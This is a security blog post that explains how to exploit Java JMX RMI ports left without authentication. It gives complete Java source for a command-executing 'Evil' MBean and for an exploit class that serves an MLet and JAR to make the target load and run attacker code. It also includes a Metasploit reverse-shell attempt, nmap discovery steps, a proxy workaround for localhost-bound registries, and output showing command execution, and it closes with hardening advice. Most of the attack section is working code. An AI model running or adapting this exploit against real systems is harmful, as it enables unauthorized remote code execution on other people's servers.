Exploiting JMX RMI

By Braden Thomas ·

I was recently looking at an application that exposed a JMX RMI port remotely for monitoring and diagnostics.  I didn’t know much about JMX, so I did a little research.  A friend pointed me to a generic Java RMI server exploit in Metasploit http://www.metasploit.com/modules/exploit/multi/misc/java_rmi_server.  However, the documentation for the exploit was not promising:

Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process.

Predictably, when I attempted the exploit against my service, it was unsuccessful:

msf > use multi/misc/java_rmi_server
msf  exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf  exploit(java_rmi_server) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf  exploit(java_rmi_server) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf  exploit(java_rmi_server) > exploit

[*] Started reverse handler on 127.0.0.1:4444
[*] Using URL: http://0.0.0.0:8080/UUCphVcJv
[*] Local IP: http://192.168.1.102:8080/UUCphVcJv
[*] Connected and sending request for http://127.0.0.1:8080/UUCphVcJv/tIfGHeL.jar
[-] Not exploitable: the RMI class loader is disabled
[*] Server stopped.

When I dug a little deeper, I found documentation from Oracle describing some serious security problems with exposing JMX RMI remotely http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html

Disabling Security

To disable both password authentication and SSL (namely to disable all security), you should set the following system properties when you start the Java VM.

com.sun.management.jmxremote.authenticate=false

com.sun.management.jmxremote.ssl=false

Caution - This configuration is insecure: any remote user who knows (or guesses) your port number and host name will be able to monitor and control your Java applications and platform. Furthermore, possible harm is not limited to the operations you define in your MBeans. A remote client could create a javax.management.loading.MLet MBean and use it to create new MBeans from arbitrary URLs, at least if there is no security manager. In other words, a rogue remote client could make your Java application execute arbitrary code.

Consequently, while disabling security might be acceptable for development, it is strongly recommended that you do not disable security for production systems.

Sure enough, when I looked at the process listing of my target application, there it was:

-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=falsee
-Dcom.sun.management.jmxremote.port=8888

Exploitation

After a little Googling for “javax.management.loading.MLet MBean”, I was satisfied that there wasn’t a ready-made exploit immediately available.  Writing the exploit was easy enough; Oracle gave me the recipe, I just needed to mix the ingredients and pop it into the oven.

First, I wrote my malicious java bean, EvilMBean.

package com.braden;

public interface EvilMBean {
    public String runCommand(String cmd);
}

Figure 1- EvilMBean.java

package com.braden;
import java.io.*;
import javax.management.*;
 
public class Evil implements EvilMBean {
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s+"\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s+"\n";
            }
 
            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

Figure 2- Evil.java

These are both very straightforward. EvilMBean.java just defines the interface for the class – the method only has a single method, runCommand(). runCommand() takes a string, runs it, and returns stdout concatenated with stderr. After compilation, this class needs to be added into a jar, which I named compromise.jar.

The actual exploit class is a bit more complex, so I’ll walk through it in parts.

import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
 
public class RemoteMbean {
 
    private static String JARNAME = "compromise.jar";
    private static String OBJECTNAME = "MLetCompromise:name=evil,id=1";
    private static String EVILCLASS = "com.braden.Evil";
 
    public static void main(String[] args) {
        try {
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/"+JARNAME, new JarHandler());
            server.setExecutor(null); // creates a default executor
            server.start();
 
            connectAndOwn(args[0], args[1], args[2]);
 
            server.stop(0);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    

The main() method for this exploit starts up an HTTP server on port 4141, and serves two resources on it: something called an MLet (a “management applet”), and a JAR file. After the web server is running, it calls connectAndOwn().

static void connectAndOwn(String serverName, String port, String command) {
    try {
        JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port +  "/jmxrmi");
        System.out.println("URL: "+u+", connecting");
 
        JMXConnector c = JMXConnectorFactory.connect(u, env);
 
        System.out.println("Connected: " + c.getConnectionId());
 
        MBeanServerConnection m = c.getMBeanServerConnection();

The connectAndOwn() method begins with some boilerplate to set up a JMX connection to the server name. This tool is run as “RemoteMbean ”, so this is where the first two command line arguments are used.

ObjectInstance evil_bean = null;
try {
    evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
} catch (Exception e) {
    evil_bean = null;
}

The exploit attempts to load my malicious MBean from the server, if it already exists. It would only exist if the exploit was previously run – assuming this is our first run, an Exception will be thrown and evil_bean will be null.

if (evil_bean == null) {
    System.out.println("Trying to create bean...");
    ObjectInstance evil = null;
    try {
        evil = m.createMBean("javax.management.loading.MLet", null);
    } catch (javax.management.InstanceAlreadyExistsException e) {
        evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
    }
    System.out.println("Loaded "+evil.getClassName());
 
    Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                          new Object[] { String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress()) },
                          new String[] { String.class.getName() }
                          );
    HashSet res_set = ((HashSet)res);
    Iterator itr = res_set.iterator();
    Object nextObject = itr.next();
    if (nextObject instanceof Exception) {
        throw ((Exception)nextObject);
    }
    evil_bean  = ((ObjectInstance)nextObject);
}

This is the bit Oracle was warning about.  We can load a certain class, javax.management.loading.MLet http://docs.oracle.com/javase/1.5.0/docs/api/javax/management/loading/MLet.html.  This class permits loading an MLet file, which can point to a JAR to load.  Documentation for the getMBeansFromURL() method states:

  public Set getMBeansFromURL(String url)Loads a text file containing MLET tags that define the MBeans to be added to the agent. The location of the text file is specified by a URL. The MBeans specified in the MLET file will be instantiated and registered by the MBean server.Specified by: getMBeansFromURL in interface MLetMBean Parameters: url - The URL of the text file to be loaded as String object. Returns: A set containing one entry per MLET tag in the m-let text file loaded. Each entry specifies either the ObjectInstance for the created MBean, or a throwable object (that is, an error or an exception) if the MBean could not be created.
 System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
        System.out.println("Calling runCommand with: "+command);
        Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
        System.out.println("Result: "+result);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Once our evil MBean has been loaded, we can call the runCommand() method that we defined in Evil.java. The command will be executed on the remote system and the output will be returned to us.

static class MLetHandler implements HttpHandler {
    public void handle(HttpExchange t) throws IOException {
        String response = String.format("", EVILCLASS, JARNAME, OBJECTNAME, InetAddress.getLocalHost().getHostAddress());
        System.out.println("Sending mlet: "+response+"\n");
        t.sendResponseHeaders(200, response.length());
        OutputStream os = t.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}

This is the HTTP resource handler for the MLet file. As you can see, an MLet file is just an HTML file containing a special tag. The MLET tag contains attributes that point at the JAR to load, the codebase URL, and the fully qualified class name.

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            File file = new File ("compromise.jar");
            byte [] bytearray  = new byte [(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0, bytearray.length);
            // ok, we are ready to send the response.
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray,0,bytearray.length);
            os.close();
        }
    }
}

Finally, the JarHandler just supplies the compiled compromise.jar that we created earlier from Evil.java and EvilMBean.java.

We just connect to the JMX RMI server using Java APIs, ask it to load this MLet file we supply containing a pointer to a JAR, which the server happily loads and will invoke methods on when asked – just like Oracle told us it would. Pretty straightforward.

$ java RemoteMbean 127.0.0.1 8888 "id"
URL: service:jmx:rmi:///jndi/rmi://127.0.0.1:8888/jmxrmi, connecting
Connected: rmi://192.168.1.102  21
Loaded class: com.braden.Evil object MLetCompromise:name=evil,id=1
Calling runCommand with: id
Result: uid=502(bthomas) gid=20(staff) groups=20(staff)

Figure 3– Output from exploit execution

Discoverability

Now that you know how to exploit JMX RMI ports, how do you find them?  Fortunately, it’s easy – there’s already an nmap signature.  However, due to the rarity level, it won’t get run on a non-standard port, like 8888.  You can force it to run using the –version-all flag.
$ nmap -sV --version-all -p 8888 127.0.0.1
Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:30 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).
PORT     STATE SERVICE     VERSION
8888/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.11 seconds

Even better is the rmi-dumpregistry.nse script, which is already incorporated into nmap.

$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 8888 127.0.0.1
Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:32 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000072s latency).
PORT     STATE SERVICE  VERSION
8888/tcp open  java-rmi Java RMI Registry
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @192.168.1.102:63955
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject

To be certain it’s a JMX interface, you can use JConsole, the tool Java provides for actually interfacing with JMX ports legitimately. You can initiate a connection on the command line or the UI. For example, the following command will pop up jConsole and connect to my service.

$ jconsole 127.0.0.1:8888

Advanced Exploitation

Well, that was relatively easy; let’s make things a little more exciting.  Sometimes you’ll come across a JMX service that’s only accessible to localhost – or so it seems.  This happens when the process was launched with, for example:
-Djava.rmi.server.hostname=127.0.0.1

I came across a similar application, and I was worried my exploit would not work.

$ lsof -i tcp -P|grep LISTEN|grep 8888
java      12781 bthomas   30u  IPv6 0x973253af80f26cb5      0t0  TCP *:8888 (LISTEN)

However, when I took a look at lsof, I found that the service was still listening on all interfaces.  This is odd behavior for a service that I would think is bound to localhost.

$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 8888 192.168.1.102
Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:42 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0040s latency).
PORT     STATE SERVICE  VERSION
8888/tcp open  java-rmi Java RMI Registry
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.0.1:64178
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject

The rmi-dumpregistry.nse script confirmed that the service was in fact now located at localhost, according to the RMI registry:

$ java RemoteMbean 192.168.1.102 8888 "id"
URL: service:jmx:rmi:///jndi/rmi://192.168.1.102:8888/jmxrmi, connecting
java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:601)
at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:198)
at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:184)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:110)
at javax.management.remote.rmi.RMIServerImpl_Stub.newClient(Unknown Source)
at javax.management.remote.rmi.RMIConnector.getConnection(RMIConnector.java:2327)
at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:277)
at javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:248)
at javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:207)
at RemoteMbean.connectAndOwn(RemoteMbean.java:31)
at RemoteMbean.main(RemoteMbean.java:19)

Even more worrisome, JConsole failed to connect and my exploit failed to run, throwing an exception.  Since the exception was thrown attempting to connect to localhost, it seemed that Java must be attempting to connect to the address and port (127.0.0.1:64178) listed in the RMI registry.  I threw together a quick proxy using Twisted to listen locally on port 64178, and proxy any traffic to the remote 64178.

$ python redirect_jmx.py 192.168.1.102 64178
2013-05-16 23:54:00-0400 [-] Log opened.
2013-05-16 23:54:00-0400 [-] RedirectRxFactory starting on 64178
2013-05-16 23:54:00-0400 [-] Starting factory <__main__.RedirectRxFactory instance at 0x10dcd8998>
2013-05-16 23:54:22-0400 [__main__.RedirectRxFactory] Connection made to RedirectRx

Sure enough, a connection was made, and the exploit worked as before.

$ java RemoteMbean 192.168.1.102 8888 "id"
URL: service:jmx:rmi:///jndi/rmi://192.168.1.102:8888/jmxrmi, connecting
Connected: rmi://192.168.1.110  2
Trying to create bean...
Loaded javax.management.loading.MLet
Sending mlet: <HTML></HTML>
Loaded class: com. braden.Evil object MLetCompromise:name=evil,id=1
Calling runCommand with: id
Result: uid=502(bthomas) gid=20(staff) groups=20(staff)

So it’s important to keep in mind that setting java.rmi.server.hostname has no effect on whether or not this is an insecure configuration.  If you actually want to secure your JMX RMI port, you have many options, such as (in decreasing order of preference):

  • Don’t pass com.sun.management.jmxremote.port. This will start a local-only JMX server, and you can get the connection address from com.sun.management.jmxremote.localConnectorAddress  http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html
  • Enable SSL client certificate authentication
  • Enable password authentication and use SSL
  • Firewall your JMX RMI port